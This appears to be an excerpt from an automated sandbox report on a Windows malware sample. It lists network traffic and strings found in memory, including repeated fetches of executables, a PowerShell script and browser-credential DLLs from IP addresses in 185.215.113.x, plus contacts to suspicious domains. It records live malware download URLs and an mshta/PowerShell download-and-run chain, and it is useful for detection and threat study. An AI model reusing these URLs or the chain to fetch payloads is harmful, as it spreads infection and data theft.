Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004ACE44 InternetReadFile,SetEvent,GetLastError,SetEvent, 0_2_004ACE44
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /sok33tn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: pkn0ta.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /files/martin1/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /joLepLgSzIBRhlkJbQYx1739003311?argument=0 HTTP/1.1Host: home.fivepp5sb.topAccept: */*
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.115Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /test/exe/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /files/martin3/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/1506757897/tYliuwV.ps1 HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/osint1618/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success?substr=mixtwo&s=three&sub=non HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /files/LostRobotic/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/801193963/KUQRYpJ.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: httpbin.org
Source: global traffic DNS traffic detected: DNS query: home.fivepp5sb.top
Source: global traffic DNS traffic detected: DNS query: ignoredshee.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: apis.google.com
Source: global traffic DNS traffic detected: DNS query: play.google.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: rebeldettern.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ignoredshee.com
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 11 Feb 2025 07:52:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dFpaXO7RDe5MVIZpPmXyJjidEVasg0v0S7lmM2VGbWTFezkabWRwF0FcQYSHXPG%2B%2BMhVqKPLACkUIz0aZw%2BTS69tByOqEzRyny4e0I38yjxLJEXRhtyEOkNKv3J35NW98aQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9102c25219e543a7-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 11 Feb 2025 07:52:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mCjmPhZtUkFIm%2BgAwiavR9UE%2BkRhrS%2FP097C%2BCo%2F4LBS%2FTtZN7TD4AwauRp8RroidaDJR3A1BvsB5RdsviKoF9F7XBMbyOM4vsBkW%2B56f198l6hC63cJXFt1YT1ARQ1ANxY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9102c2cfaf6041e7-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 11 Feb 2025 07:53:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Lv4zscZDdmIapZ13Ph2BGRVxdd4KVL%2B0NhHmki6nsJNHLhAxx3D8V7W6Ds60ij3VK509L0hbdZ4upbmrvPx4gU5Gocrcl24dUZfeXgpsPuhx9IE1T5Zz6MHG%2FJNlNNzWBby"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9102c3813b14c46d-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 11 Feb 2025 07:53:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LhSwKppc3phFov%2BcLGhrSmrrh1S5QXS%2FLhauqCQ%2Fz3bszL51lZ24MD6JceiDSfnUSo4qqcmF0qJEuFwpp4oXhZn%2BbEYRf4d6w76bYAP3JNI8e%2Bq7QRUSN%2FBHDjlKAqkf%2FQs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9102c39c3dd342d5-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Tue, 11 Feb 2025 07:52:24 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Tue, 11 Feb 2025 07:52:26 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: powershell.exe, 00000006.00000002.2253227665.0000000004F63000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2253227665.00000000050D5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/WF/
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/k
Source: mshta.exe, 00000008.00000003.2226758844.0000021C17B7A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.ex
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.3098388690.000000000139C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.3098166594.0000000001378000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe:
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exeuM
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.3098166594.0000000001378000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe=M
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/mine/random.exe
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: svchost.exe, 00000021.00000003.2993208313.000002B54F9B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx17
Source: f9cb675f2a.exe, 00000014.00000003.2899145348.00000000014D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311
Source: f9cb675f2a.exe, 00000014.00000003.2903647355.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, f9cb675f2a.exe, 00000014.00000002.2932186225.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, f9cb675f2a.exe, 00000014.00000003.2897746452.00000000014C2000.00000004.00000020.00020000.00000000.sdmp, f9cb675f2a.exe, 00000014.00000003.2899145348.00000000014D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx173900331135a1
Source: f9cb675f2a.exe, 00000014.00000003.2899145348.00000000014D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311?argument=0
Source: f9cb675f2a.exe, 00000014.00000002.2931282047.000000000144E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311?argument=0Cs
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQ
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000006.00000002.2256031154.0000000005DA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2397227874.0000020D6B02D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2397227874.0000020D6B170000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000009.00000002.2363798553.0000020D5B1EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.2253227665.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2363798553.0000020D5AFC1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.2363798553.0000020D5B1EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: df1dfa8044.exe, 00000015.00000003.2889508001.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000009.00000002.2363798553.0000020D5AFC1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2253227665.0000000004D41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
